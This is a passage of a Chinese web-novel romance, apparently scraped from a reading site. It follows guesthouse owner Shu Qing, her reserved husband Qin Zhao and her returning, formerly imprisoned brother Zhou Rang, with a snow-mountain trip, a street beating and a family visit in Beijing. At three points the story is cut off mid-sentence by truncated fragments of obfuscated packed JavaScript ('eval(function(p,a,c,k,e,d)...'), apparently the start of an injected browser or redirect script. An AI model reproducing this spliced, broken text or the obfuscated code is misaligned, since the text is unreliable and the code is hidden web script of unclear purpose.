舒晴蓦地睁开眼,看到陆安安那一刻长松一口气。 陆安安见她一副惊魂未定的模样,猜测道:“做噩梦了?” 舒晴点头,“嗯。” “是不是梦到过去那些事儿了?”陆安安问得有些小心翼翼。 舒晴心有余悸地说:“我梦到以前被母老虎拿着菜刀漫山遍野追着砍,吓死人了,还好你叫醒我了。” 她一脸的感激,陆安安却有些心疼,抱住她安慰道:“没事,都过去了。” 晚上没睡好,舒晴神色有些憔悴,她简单画了个淡妆才出门去吃午饭。 午间明媚的阳光透过高高的玉兰花树木缝隙洒下,和熙地照耀着她,舒晴眯着眼惬意地伸了个懒腰。 再睁眼时看到露台上站着的秦兆遥遥望过来,便挥手笑了笑,权当作打招呼。 吃完饭后,舒晴和陆安安和陆安安相约去做美甲。 期间舒国强又给她打电话,老生常淡地嘱咐她:“有空多关心关心秦兆,精诚所至金石为开......” “知道了爸。”舒晴不耐地打断他的话,“我还有事,先挂了啊。” 时间过得飞快,转眼间就已经到了傍晚,舒晴满意地看着自己手上的美甲,原本烦躁的心情也变得偷快起来。 回到民宿,原本想往后院走的舒晴,脚步一顿,走上二楼,来到二楼秦兆的房间,正想敲门,去发现他门口半掩着,有隐隐约约的声音从里面传出来。 舒晴心念一转,悄悄推门往里进,看到秦兆穿着笔挺的西装坐在窗边的书桌上,对着面前摊开的笔记本电脑,吐出一口流畅的英文,嗓音低沉悦耳,有种莫名的味道。 他余光注意到舒晴进来了,也没说别的,继续和视频里的人对话。 舒晴见他在房间里开视频会议,没上前打扰,自顾自地走到沙发上坐下,手撑着下巴,百无聊赖地盯着秦兆看。 夕阳余晖从窗口洒进来,打在他侧脸上,那英俊的轮廓在光影中更显立体深邃。 舒晴目光在他专注的脸上流连,不得不感叹他长了一副赏心悦目的好皮囊,要不是天天摆着个冰山脸,她铁定扑倒他。 二十分钟后秦兆结束会议,他起身松了松领带,在舒晴对面沙发坐下,淡淡询问:“找我有事?” 舒晴倒了一杯暖茶往他那边推送,揶揄一笑:“我代表我爸,来关心关心秦总。” 秦兆垂下眼眸,端起茶杯轻抿一口,润了润干燥的喉咙。 “谢谢你和你爸的关心。” “客气了,谁让我们是夫妻呢?” 秦兆嘴角微不可察的扬了扬。 “我没有打扰到你工作吧?” “没有。” 说完,两人一时无话,房间内安静下来,只有窗外叽叽喳喳的鸟鸣声,舒晴心想秦兆不愧是话题终结者,和他多说不超过三句话就冷场了,真是无趣。 不过她的关心任务已经完成了,是时候走人了,但还动身就听秦兆忽然开口,“刚才去做了美甲?” “嗯。”舒晴敷衍地点点头。 “很漂亮。” 难得秦兆夸赞她,舒晴来了点兴致,扬起白皙如玉的手,向他更清晰地展示自己blingbling的美甲,“怎么样,是不是很好看?下次要不要和我一起去做?” 秦兆不理会她的调侃,深邃的目光从她手上的美甲挪到他明艳动人的脸庞上,“你今天心情很好。” “还行吧。” 秦兆轻轻摩梭这手中的茶杯,“明天有没有空和我一起去梅里雪山看日照金山?听说那里的景象很壮观。” 他的声音中带着不易察觉的紧张,舒晴没有听出来,而是饶有兴趣的挑眉道:“哟,你终于想起你是来旅游的,而不是在我这个小民宿养老的啦?” 秦兆深潭似的墨瞳静静看着她,等待她的回答。 “难得你有兴趣,那我就舍命陪君子吧。”舒晴语气轻快。 丽江距离梅里雪山不是很远,次日一早,两人驱车前往。 到了飞来寺观景台附近的酒店,还不到三点。 彼时日光普照,晴空万里。 日照金山只出现在特定的时间,所以两人在观景台附近酒店暂作休息,临近日落时分他们打算去碰碰运气,如果看不到,那就第二天日出时分再来。 买好票来在观景台前,巍峨耸立的雪山在眼前一字排开,圣洁无比,周围不时传来咔咔咔的拍照声,舒晴也掏出手机拍照,转眸见秦兆没事人一样地瞧着她。 “你老看着我做什么。” “没什么。”秦兆移开目光。 正说着话,人群中忽然传来惊呼。 舒晴顿时激动地往前看去。 只见夕阳辉映下,主峰卡瓦格博一点一点染上赤金色的光芒,随着时间的流逝,赤金色渐渐蔓延至周边海拔较低的雪山,光与雪的界限逐渐模糊,最后交融成一片耀眼的金色,至此万丈金光汇聚于群山之巅。 舒晴被眼前景象深深震撼着,眼都舍不得眨一下,生怕破坏了这神圣而壮丽的瞬间。秦兆在此时侧眸,凝视她姣好的面容,在她眼中看到了比日照金山更美的景致。 舒晴好半天才找回呼吸:“快,秦兆,给我拍个照。” 她兴奋地把自己手机塞给他,然后背对雪山摆了个比耶的姿势,目光灼灼地示意他拍照。 秦兆很配合举起手机对谁她,镜头里,舒晴穿着粉色冲锋衣,纤柔的身姿融进那片金色光影里,露着夏花般明媚灿烂的笑,整个人美好得不像话,他找好角度,把镌刻进眼底的一幕拍下来。 舒晴凑过来,一张张看他拍的照片,秀致的眉眼不自觉带笑:“拍得不错嘛.....要不要我也给你拍几张。” “我们一起。” 秦兆说罢,在周围人群找了位阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还有一个星期就是奶奶生日了,订下周一的机票回北京怎么样?”秦兆忽然开口。 “可以。”舒晴随口回答。 过了一会儿,她忽然想到一个问题,便问道:“奶奶的寿宴是在家里办的,还是酒店办的?” “在家里。”秦兆说。 “那寿宴结束后我回自己家住行么?”舒晴还是不习惯和别人同床共枕。 “奶奶会多想的。”秦兆深潭似的眼仿佛看穿了她想法,“你要是介意,我可以睡沙发。” “不必了。” 舒晴皱了皱小脸,自我开解道,反正她和秦兆都同床过两回了,也不在乎这一次,毕竟他们对彼此都没需求。 秦兆牵着她的手直到上车才放开...... 17. 重遇 六月的梅雨季节,天气闷热又潮湿。 天上仿佛泼水一般,雨下个不停,像珠帘一样沿着屋檐落下,在地面上溅起晶莹剔透的水珠。 庭院里的花木经雨一淋,枝叶更加鲜绿,衬得各色花朵越显娇艳,空气中弥漫着淡淡的水汽和泥腥气。 舒晴在二楼廊道上坐听雨声,凭栏远眺,远处景色在雨雾中朦朦胧胧,看不真切。 烟雨中远远走来一个人,他撑着一把黑色的伞,身量极高。 起初舒晴没这么留意,直到那人越来越近,跨过敞开的院门走进来。 他不急不缓地穿过绿荫□□,伞檐忽而微微上抬,一张精致俊美的面容缓缓现出,狭长眼眸精准锁定舒晴的倩影,唇角勾起若有若无的笑。 望着来人熟悉又陌生的面孔,舒晴猛地坐直身,一脸愕然。 没想到周让真找到这里了。 她脑子一时乱哄哄的,万千思绪闪过,却什么都抓不着。 “姐姐!”周让笑着和她招手,漆黑的眼亮得仿若春夜寒星 下楼的时候,舒晴心头依旧一片混乱,没想好用什么态度面对周让。 周让把滴水的雨伞搁在门边,然后才缓缓走进大堂,坐在前台的阿莉乍一见到他,眼里迅速闪过一丝惊艳,她摆出一个甜美的笑容,正欲招待,但周让没瞧见她似的,灼灼目光径直望向从楼梯下来的人。 “姐姐,好久不见。” 他的语气透着久别重逢的欢喜,看她的眼神一如当年。 他看起来还和以前一样,但似乎又有哪里变了。 舒晴望着气质极为陌生的周让,心中五味杂陈,迟迟未说话。 周让一瞬不瞬盯着她,仿佛怎么看都看不够似的。 舒晴深吸一口气道:“你来这里做什么?” 周让听出她语气里的戒备和试探,眼睫微颤,低声说:“我是来应聘的。” “应聘?”舒晴眉头一皱。 “应聘民宿管家。” 舒晴这才恍然想起,是有这么一件事儿,民宿经过一段时间的经营,渐渐小有名气,客源也越来越多,她和陆安安有些忙不过来,打算招几个管家分担解忧,顺便提升提升民宿服务质量。 只是她没想到周让竟然会来应聘这个岗位。 “我这儿已经招够人了,你走吧。”舒晴冷淡回绝。 周让说:“姐姐,你知不知道你说谎的时候眼睛会乱眨。” “你非要我说出更难听的话吗?”舒晴冷冷直视他。 “姐姐,我改过自新了,以前的错我绝不再犯,也不会做让你不高兴的事,你能不能让我留下?”周让恳求道。 见她还是冷着脸,周让垂下脑袋,语气低落地说:“我大学没读完,只有高中学历,还坐过牢,一直找不到工作,身上的钱买完火车票就没剩了......” “跟我卖惨没用,你走吧,我不想再见到你。” 周让垂在身侧的手蜷了蜷,却站着没动,垂头丧气的模样活像个没人要的流浪狗。 正在这时,舒薇禾不知从哪儿冒出来,笑吟吟地说,“阿晴,他好歹是你弟弟,就这样把他赶出去,对你们民宿的声誉不太好吧。” “而且我看他衣衫落拓,估计真是走投无路了才来找你,”舒薇禾说,“这样吧,我先给他开一间房,让他暂时住着,等找到工作了再离开,你觉得怎么样?” 听闻动静的陆安安从后堂出来,不容置喙地反驳道:“不行!把一个刚从牢里出来的劳改犯留下,难以保证我们民宿住客的安全!” 周让攥紧手,头垂得更低。 陆安安接着又扭头对舒晴说:“别忘了他以前是怎么对你的,千万不要心软,他有手有脚,哪怕是去乞讨都不会饿死。” 阿莉竖着耳朵,听得一愣一愣的,忽见舒晴朝她走过来,赶紧正襟危坐,两眼直直盯着电脑,假装自己在认真工作。 舒晴走向前台,说:“阿莉,你从收银槽里拿出一千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你应该还没睡吧?”他低沉的声音传来。 “还没有,”舒晴一边说一边举着手机,确保镜头里只露出自己的脸,“有事吗?” “…公司有点急事,需要我回去处理,我等会就要回北京。”秦兆说。 “这么突然?” “嗯,下星期就是奶奶生日了,你要不要和我提前回去?”秦兆深邃的目光盯着她。 舒晴犹豫了一下,想到过两天会有一个消防检查,而陆安安又要去邻市出差几天,只能她来接待,便说:“民宿这边还有点事,我过几天再回去。” “那好,我等会儿先回去,等你来北京了,告诉我一声,我去接你。”秦兆说。 “好。”舒晴说。 手机举着太累,她便搁在书桌上,本想等他先挂断视频的,秦兆却静静看着他,目光似有留恋,迟迟未挂断视频, 舒晴觉得他眼神有些奇怪,但也没多想,说了一句,“我先挂了。” 她的手刚刚要点挂断键,却瞥见右上方镜头里,自己xiong前露了一大片,隐约可见一条深沟,而秦兆目光似乎聚焦于其上,舒晴顿时羞恼地用手臂横在胸前,瞪着他:“你眼睛往哪里看?” 秦兆见她反应这么大,想她是误会了,便解释道:“我没乱看。” 舒晴见他一脸诚恳,知道他眼睛真没乱瞟,也放下羞恼之心,故意逗他,信誓旦旦地说:“你就是看了。” “我真没有。” “那你怎么证明?” “我以我的人格保证。 看到秦兆这幅百口莫辩就差指天发誓的模样,舒晴捂着嘴笑得花枝乱颤:“好了,不逗你了,我挂了。” 秦兆松了口气,说:“好,晚安。” “晚安。” * 丽江最近雨水天气特别多,好不容易天放晴了,舒晴便拉着刚出差回来的陆安安去吃火锅,美名其曰去去湿气。 风格古朴的火锅店内,红油锅底不停翻滚着热气腾腾的气泡,空气中弥漫着浓浓的香辣味,舒晴食指大动,夹起一片毛肚在锅中涮了涮,吹了几下就吃进嘴里,脆爽的口感裹挟着热辣汤汁让她的味蕾瞬间得到满足。 “太好吃了。” “这家火锅确实不错,”陆安安也赞同道,“尤其是这红油锅底,真的是一绝。” 舒晴说:“咱以前学校门口的火锅店更绝,不知道还开不开,我后天回北京,要不要一起回去看看,顺便回趟家?” “算了吧,”陆安安说,“我妈一见我保准又逼我去相亲,好不容易清净点,我才不要回家。” 她们边聊边吃,嘴巴几乎没停过。 舒晴嘴巴辣得通红,实在受不了了便搁下筷子,拿起一旁的酸梅汁喝了几口,用纸擦了擦嘴巴,然后倚回靠背,打算缓缓再吃。 火锅店底下是一条杂乱的夜市街,游人不多,但是气氛很热闹,人声鼎沸。 舒晴饶有兴致地往外看去,各式各样的摊位挤在狭窄街道两旁,灯牌闪烁,宛如星海般璀璨耀眼。 忽然一个眼熟的身影出现在她视线中。 他坐在昏黄的路灯下,面前摆着些零零碎碎的小饰品,不少行人从他前方走过,但都是看两眼就走。 旁边的小吃摊倒是挺热闹,衬得他这边门可罗雀,周让眼巴巴望着过路行人,硬生生坐成了一尊雕塑。 舒晴没想到周让真去摆地摊了,也不知道他哪来的钱进货。 “你看什么看得那么入神?”陆安安问。 “我看到了周让。” “周让?” 陆安安惊讶地顺着舒晴的目光看去,果然看到了周让的身影。 “别管他,怪倒人胃口的。”陆安安撇了撇嘴,想一把将窗户拉上。 但手刚伸出窗外,就见到四五个彪形大汉走近周让,一把将他摊位掀了,零碎的饰品顿时四零八落。 这突如其来的变故,不仅惊了周让,也惊到了舒晴和陆安安,她们挤在窗口齐齐往外观察事态。 只见周让站起身,眉眼泛冷,嘴巴一张一合,似乎在质问,隔着太远,舒晴听不太清。 “你交摊位费了吗,就敢在这儿摆摊,懂不懂这儿的规矩啊?”其中一个大汉嗓门极大,周围人都投来异样的目光。 他的质问周让无言以对,他弯下腰,默默把地上四散的饰品捡起来,放回一旁的的塑料袋里,打算离开这里。 然而那几个大汉却并不打算就这样放过他,硬要周让交完罚款才能走人,周让明显交不起,大汉看他一脸难色就明白他没钱交,又抢过他手中装饰品的塑料袋,“没钱就先拿你的东西扣押,什么时候有钱交罚款了再还给你。” “不行,我要把这些东西卖出去,才有钱交罚款,你还给我。”周让想夺回自己的东西,但那几人见状粗暴地扯住他的衣领:“小子,敬酒不吃吃罚酒,是不是想找打?” 周让皱眉,用力推开揪住自己衣领的男人,可这行为在几个大汉眼里无异于挑衅,一个满脸横肉的男人挥舞着拳头朝他砸来,周让沉着脸,灵活地躲过攻击,并不想和他们直接动手。 可男人们却一拥而上,围着他拳打脚踢,周让起先还反抗,但一拳难敌四手,很快被打倒在地,周边摊贩见状纷纷远离,生怕殃及池鱼。 很快,周让就被打得口鼻流血。 楼上的陆安安看得直咋舌:“妈呀,这些人怎么那么暴力,就算没交罚款,也不能乱打人啊。” 舒晴再也看不下去了,一把抓起包包往外走去,陆安安见状连忙跟在她后头。 一路小跑着来到周让所处的位置,舒晴见那几个男人依旧对周让拳脚相加,便厉声喊道:“我已经报警,你们不许再打了!” 他们这才停手,然后对地上抱头蜷缩的周让放了几句狠话才离开。 舒晴上前查看周让的情况。 周让此时鼻青脸肿,颧骨淤紫一片,显然伤的不轻,刚来的陆安安看到他这副惨样,不禁倒吸了一口冷气。 舒晴蹲在他身前急声道,“周让,你怎么样了?还能起来吗?” 周让低咳了两声,回答道,“还好,我能起来。” 他一边说,一边以手撑地踉踉跄跄的站起来,舒晴扶了他一把。 周让站定后,止不住的鼻血,滴到他的黑色衣服上,晕染开斑驳暗色,舒晴从包包里掏出包纸巾,抽出一张递给他,“擦擦吧。” 擦完鼻血,周让终于显得不再那么狼狈,垂眸盯着她道:“姐姐,谢谢你。” “我带你去医院看看吧。”舒晴说。 “不用,都是些小伤,我没事。” 舒晴看他不像有大碍的模样,也不再劝,看到周让又捡起地上装饰品的塑料袋,疑惑地问道:“你怎么有钱买这些东西?” “我捡了几天垃圾,赚了些钱,但只够买这些东西.......”周让脉络清晰的手紧抓着袋子,略显窘迫地垂下眉眼。 舒晴无言看着他,一时无话。 忽然一串咕噜声自周让腹中响起,舒晴愣了一下,“你还没吃饭?” “嗯......”周让头垂得更低了,耳朵微微泛红, 舒晴无声叹息,又想掏钱给他,但想到周让不会要,正好对面小吃摊是买炒粉的,还摆着几张桌椅,便带着周让过去,给他点了一份炒粉。 周让显然是饿极了,吃的很快,但并不显粗鲁,舒晴坐在对面,看到他脸上青紫的伤,有些犹豫要不要去买药给他,但环顾四周也没有看到药店, 周让三两下就吃完了一盘炒粉,见舒晴脸上似乎萌生去意,便小心翼翼的说,“姐姐,我无处可去,你能不能收留我?” 见舒晴沉默,周让又说:“在牢里的每一天我都在忏悔,不该那样自私地对你.....我错了,而且错得很离谱,我不奢求你的原谅,只求你让我赎罪。” 舒晴抿了抿唇,转头看了眼身旁的陆安安。 陆安安翻了个白眼,朝周让发问道:“你说的收留是哪种收留,是白吃白喝的那种,还是没经验没学历也要招你的那种?” “我不会白吃白喝,也不要工资,”周让说,“我虽然没有经验没有学历,但是我可以学。据我这些天的观察,民宿虽然每天都有新的住客到来,但是人数并不多,而且和周边民宿相比,客源量不够稳定,还缺少些特色......” 舒晴和陆安安对视了一眼,皆对周让刮目相看。 开民宿虽然是她们的梦想,但并没有一个详细而长远的规划,只是想着能维持下去,不倒闭就好,毕竟她们都不算缺钱。 没想到周让通过短短几天的观察,就能一针见血地指出来民宿经营上 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旭日东升之时,路齐铭如往常一样下楼准备享用早餐,不期然在餐厅角落见到了正在收拾残羹冷炙的周让,顿时一脸愕然,得知他竟在这里做民宿管家,顾不上将他轰出去,着急忙慌地去庭院找舒晴。 “舒晴你是不是脑袋被门夹了,明知道周让以前对你做过什么,怎么还敢引狼入室?你不怕重蹈覆辙?” “怕啊,所以麻烦你有空帮我好好监督监督他,他要是做不好,你跟我说。” 舒晴拿着花洒浇花,眉目间一片淡然。 “要我当监工啊,没点好处我可不当,”路齐铭嬉皮笑脸凑近她,“晚上一起吃个饭怎么样?” “离我远点,别妨碍我干活。”舒晴作势要把花洒往他身上浇,路齐铭吓得果断远离。 终于清静下来的舒晴松了一口气,经过浇灌,庭院里的蔷薇花在阳光照耀下显得更加娇艳欲滴,她看得心情也好。 不想就这么算了的路齐铭重新找上周让,抱着双臂挡住要往厨房去的他,“我就没见过你脸皮这么厚的,竟还敢出现在舒晴面前,识相的就早点滚蛋,不然我有一百种方法让你混不下去。” “让开。”周让不为所动,端着托盘试图从他身旁绕过去。 路齐铭再次挡住他的去路,面露嘲讽地指着大门说:“你应该往那边走。” 周让眼里闪着凌厉的寒光,冷冷地说:“唯一能决定我去留的只有舒晴,你有什么资格狗吠。” 路齐铭气冲上头,狠狠推了推他一把,周让托盘上的餐具哗啦掉了一地。 听到动静,舒晴放下花洒拧眉大步走过去,看到剑拔弩张的两个男人,生气地说:“你们想干什么?要有什么私人恩怨就出门打一架,别脏了我的地盘。” 路齐铭收敛神色,扯了扯衣领,又恢复成一贯的吊儿郎当:“要不是这小子挑衅我,我才赖得搭理他,你最好将他扫地出门,要不然小心他又反咬你一口。” 说罢就冷哼着离开了。 周让蹲下身体,把散落的餐具放回托盘,舒晴默默看着,然后说:“你先把餐具端到厨房,我带你熟悉一下民宿。” “好。” 周让依言照做,然后跟随舒晴转了一圈民宿,听她介绍民宿的整体布局和具体情况。 中午民宿来了一对夫妻,舒晴让周让接待,顺便帮忙搬行李,然后观察他的应对能力和服务态度,觉得还算过关,便不再盯着他,安心去做自己的事。 后天是秦兆奶奶的生日,舒晴买了明天中午的机票,她可能要在北京待两三天,便收拾了几件衣服和一些必需品塞到行李箱里。 第二天交代完一些事项后,舒晴便拖着行李箱,头也不回地坐车离开了。 路齐铭吊儿郎当倚着院门,见周让还像根木头似的杵着,目送舒晴的车远去,便讥讽奚落道:“哎呀,你的好姐姐要跟你姐夫团聚了,你是开心呢还是不开心呢?” 周让缓缓扭头,眼神阴冷,空寂,像来自深渊的凝望,路齐铭被他这一眼看得莫名凉飕飕的,他摸了摸手臂上泛起的鸡皮疙瘩,艰难咽了口唾沫说:“喂,我警告你对我态度好点啊,不然我投诉你,让你卷铺盖滚蛋。” 周让没理他,冷着脸自顾自往院内走。 下午四点,舒晴下飞机,刚出站,就见到人群中长身玉立的秦兆。 19. 克制 下午四点,舒晴下飞机,刚出站,就见到人群中长身玉立的秦兆。 他穿着黑色衬衣,袖子随意半挽,露出线条分明的手臂,沉寂的眉眼在对上舒晴视线时,泛起柔和波澜。 舒晴带着一抹淡笑走向他:“秦总百忙之中来接我,真是不甚荣幸。” “这是我该做的。”秦兆一边说一边接过她手中的行李箱。 两人走出熙攘的航站楼,落日余晖遍洒大地,将他们融进金色的光辉里,氤氲出别样的氛围。秦兆为舒晴拉开车门,手轻轻抵在门顶,等她坐进车里,才绕过车身坐到驾驶位上开车。 机场外一段路由于发生碰撞,很是拥堵,秦兆小心翼翼驶过,等车子开到到平缓开阔的车道时,才有闲心和舒晴说话:“坐了那么久飞机累不累?” 半天没听到回答,秦兆握着方向盘的手紧了紧,侧眸看向舒晴,见她靠在椅背上,微歪着脑袋,双眸紧闭,红唇微抿,呼吸声清浅规律,显然睡了有一段时间。 秦兆缓了一口气,克制地收回目光,把她的座椅调低,让她睡得更好一些。 车窗外的景色不断变换着,从宁静的城郊到繁华的市区,夕阳余晖逐渐消失在天际,舒晴一路好眠,直到车停到秦家老宅前院,仍旧未醒。 庭院昏黄的路灯映照在她精致的侧脸上,让她看起来宁静而美好,秦兆一时不想叫醒她。 虽然才短短几天没见,但对她的思念却如野草般疯长,直到此时此刻方偃旗息鼓。 时间一点一点流逝,担心她会饿,秦兆轻轻唤醒她:“舒晴,醒醒......” 舒晴长睫颤了颤,睁开略显迷蒙的杏眼:“.......到了?” “嗯.” 舒晴推门下车,秦兆和她并肩往门口走去。 困意未消,舒晴懒懒打了个哈欠,垂在身侧的手蓦然被一只温热大手握住,心漏了一拍,她侧头看向一旁的男人,不知道他搞的哪一出。 秦兆目不斜视,淡淡解释道:“我们是夫妻,最好表现得亲密一点,奶奶才会安心。” “哦。” 说话间两人已迈进灯火通明的别墅内,听闻动静的秦奶奶满面欣喜地迎上来,见他们手拉着手,一副恩爱有加模样,笑得更欢了。 “晴晴你可算来了,想死奶奶了。” 秦奶奶张开双臂,一脸慈爱地抱住她,舒晴的眉眼间满是笑意,她轻轻地拍了拍秦奶奶的背,轻声细语地问道:“奶奶好久不见,您身体还好吗?” “好着呢。”秦奶奶微微松开她,笑眯眯地说,“饿了吧,奶奶做了你最爱吃的红烧肉,快来尝尝。” “谢谢奶奶,您对我真好~” 舒晴随着秦奶奶来到餐厅,秦兆跟在她们身后,看着他心中最重要的两个女人,淡漠的眉眼染上几分温情。 落座后,舒晴扫视一圈,见在座的没有秦佑这个讨厌鬼,心情大好,饭都多吃了两碗。 “晴晴,这一趟回来脸圆润了不少,饭量也增了。”秦奶奶语气中满是欣慰。 “能吃是福,身体养好了才好生孩子。”秦大伯母说。 这话一出,舒晴瞬间觉得胃口全无,怎么吃个饭还能扯上生孩子。 大伯母又接着道:“不过晴晴和阿兆才刚结婚没多久,怎么也要先办婚礼再考虑生孩子这事儿。” 说到婚礼,秦奶奶兴致瞬间来了,热切地看向舒晴道:“晴晴,婚礼日期奶奶大致看好了,农历七月初六和八月二十四都是好日子,你喜欢哪个,到时候我们请你爸妈过来一起商议。” 舒晴虽然对婚礼兴致缺缺,但也不想拂了他们的面子。 “八月二十四就挺好的,婚礼办简单点,不必兴师动众。” “好,听你的。”秦奶奶说。 饭后秦家人闲话家常,秦奶奶拉着舒晴的手说起了她小时候的趣事,舒晴也忍不住跟着笑了起来。 秦兆则在一旁静静地听着,偶尔插上一两句。 晚上,舒晴还是和秦兆睡在上次的屋内,房间里装饰都没变过,红艳又喜庆。 趁秦兆去洗澡之际,舒晴在大红喜床上用被子弄了一条楚河汉界。 她还是不习惯和别人同床共枕。 秦兆出来后看到,只是淡淡扫了一眼,没说什么,掀开被子躺下。 关掉床头灯,屋子顿时陷入一片黑暗,只有秦兆低不可闻的呼吸声传来。 半夜舒晴肚子被疼醒,她悄悄从床上爬起,踮着脚尖去卫生间,发现是来大姨妈了,幸好没染到裤子上,为了不吵醒秦兆,她摸黑从行李箱里拿出卫生棉换上。 重新躺回床上时,舒晴肚子的疼痛依旧没有缓解,反而有越演越烈的趋势,舒晴忍不住咬牙,在床上蜷缩成一个虾米状,以抵御疼痛。 秦兆是被舒晴的痛呼声吵醒的。 “舒晴,你怎么了?” 秦兆打开台灯,只见舒晴面色苍白,额头上满是冷汗,紧紧咬着下唇,似乎很痛苦。 他的心瞬间紧缩,漆黑的眼里是担忧,手都不知道往哪里摆,“舒晴,你哪里痛?” “我好像痛经...你这里有没有止疼药?” “我去找找,你忍一下。” 秦兆疾步往屋外走去,过了几分钟又回来,手里拿着药和一杯水。 他小心翼翼将舒晴扶起,让她靠在自己怀里,然后喂她吃药,吃了止痛药,舒晴总算感觉好点了。 “我让佣人给你煮了红糖水,你先等一下喝了再睡好吗?” 秦兆的声音温柔得不像话,舒晴下意识的说好。 过了一会儿,门被轻轻敲响,秦兆起身开门,从令人手中接过红糖水和一个热水袋, 他先将请热水袋放到舒晴腹部上,然后作势要为他喝红糖水,舒晴却说,“我自己喝吧,没那么虚弱,。” 说着便捧过他手中的碗,咕噜咕噜的喝起来,喝完之后全身暖呼呼的,舒晴舒服的喟叹一声。秦兆依旧紧张地打量着她的神色,“现在好点了吗?” 昏黄的床头灯下,秦兆清隽的眉眼里充斥着对她的关心, “好多了,”舒晴笑着说,“你还挺会照顾人的,是不是以前也这样照顾别人过?” “除了你,没有别人。” 舒晴的心跳莫名快了几分,忽然想起以前和他从大山里逃出来后的事。 那时他们翻山越岭,沿着荒僻的小路走了数个小时,来到了一个陌生的小镇上。 秦兆证件和手机都丢了,兜里只有三四百块钱,还是拿手表换的,连买火车票的钱都不够。 为了离开,秦兆用公共电话打给家人,让他们尽快派人过来接。 舒晴静静听着秦兆打电话,手揪着衣摆,心情是难以抑制的激动。 挂断电话,秦兆见舒晴红着眼,一脸感动地瞧着自己,温声道:“我让家人联系你爸妈了,我们在这个镇上待上一两天,他们就会来接你回家了。” “嗯。”舒晴狠狠点头,水润的杏眼里满是他的倒影,“谢谢你秦兆哥。” 眼见天快黑了,秦兆带她去吃东西。 两人挑了家看起来还算干净的面馆,各点了两碗牛肉面。 走了那么久的山路,舒晴早就饿得饥肠辘辘,此时也顾不上形象,抓起筷子干面,最后还咕噜咕噜把面汤喝了个干净。 “吃饱了吗,要不要再给你点一碗?”秦兆问她。 “吃饱了。”舒晴的脸有些红,此时才后知后觉地感到羞赫。 “那我们走吧,”秦兆淡声开口,“找间旅馆休息。” “嗯。” 舒晴站起身,往外走去。 “等等。”秦兆忽然叫住她,声音听起来有些急。 舒晴回头疑惑地看他,“怎么了?” 秦兆眉头微微拧起,迅速脱下身上的马甲外套,将其围在舒晴腰间,舒晴不明所以,有些不适应突然逼近的男子气息,正欲退开时,只听秦兆一边打结一边低声说,“你裤子后边红了。” 舒晴瞬间感觉晴天霹雳。 难怪她感觉身上黏黏的很不舒服,还以为是山路走多了出的汗,没想到竟然是来了例假。 她的月经一向不准,还碰巧这时候来了,更令人窘迫的是被秦兆发现,真的太丢人了,舒晴面色涨红,恨不得找个洞钻进去。 看着呆若木鸡、手足无措的女孩,秦兆宽慰道:“别担心,没有别人发现。” 可是你看到了,舒晴欲哭无泪,在心里默默腹诽。 秦兆看起来并不介意,他让舒晴先坐在面馆里等,然后去附近超市给她买卫生棉,又在街边的服装店给她买了两套衣服。 买完东西,剩下的钱只够在旅馆开一间标间。 舒晴顾不上扭捏羞涩,拿着东西直奔房间里的卫生间。 近一个小时后,她才清清爽爽地从卫生间出来,黑长的头发湿漉漉地披在脑后,发梢上不断有水珠滚下来。 舒晴拿着毛巾擦头发,热气未消的小脸红扑扑的,清澈的眼触及窗边秦兆,有些不好意思地浅笑起来。 望着舒晴小鹿般懵懂的眼神,秦兆担心她不会用吹风机,便找出吹风机插到床边的插座上,然后对她说道:“过来,我帮你吹干头发。” “谢谢。” 舒晴乖乖坐到另一床上,微垂着脑袋,任由秦兆帮她吹干头发。 聒噪的吹风声中,两人静默无言,秦兆修长的手穿插在舒晴发间,动作虽然生疏,但是很轻柔,一时间舒晴竟然有些昏昏欲睡,沉重的眼皮开始上下打架,最后脑袋一沉,径直往秦兆胸前倒去,秦兆猝不及防,想捞都捞不及。 舒晴的鼻子撞到秦兆结实坚硬的胸膛,被疼得瞌睡虫都跑了,忍不住低叫一声。 秦兆握住她双肩将她拉远,关切地看着她:“撞疼了?” 舒晴摇摇头,“还好,不是很疼。” 秦兆看着她通红的鼻尖,唇线微抿,说了声抱歉。 虽然屋内还有一张床,但是秦兆执意把房间让给舒晴,自己去附近的网吧窝一夜。 但此刻在舒晴眼里,秦兆就是救世主,是正直勇敢的大好人,不可能有一丝一毫的龌龊心思,她怎么能委屈救命恩人去睡网吧? 于是对他说:“秦兆哥,你留下吧,我不介意的。” 见秦兆不置可否,舒晴又可怜巴巴地说:“....而且我一个人住这儿会害怕的。” 秦兆只好同意。 关灯后,舒晴本以为自己很快入睡,但是逃离大山的激动和即将面对父母的兴奋依旧充斥着她大脑,让她久久未能入睡,心里有满腔的话想和人诉说。 虽然秦兆不苟言笑,气质衿贵疏离,但实则是个外冷内热的人,像一个大哥哥似的关心照顾她,应该愿意听她诉说。舒晴在心里这般想着,翻身面向秦兆,黑暗中只见他颀长的身影,他似乎平躺着,暗淡的月光勾勒着他棱角分明的面部轮廓,呼吸声低不可闻。 “秦兆哥,你睡了吗?”舒晴轻声试探。 “没有,”秦兆淡淡出声,“你睡不着?” “嗯,我想我爸爸妈妈了,”舒晴说,“你说他们第一眼见到我还能认出我吗?” “会的,你长得很像你妈妈。” “真的吗?” “嗯。” “他们这些年找我是不是找得很辛苦?” “...虽然我和你们家联系不多,但据我所知他们一直没放弃找你。” “那他们有没有给我生个弟弟妹妹什么的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 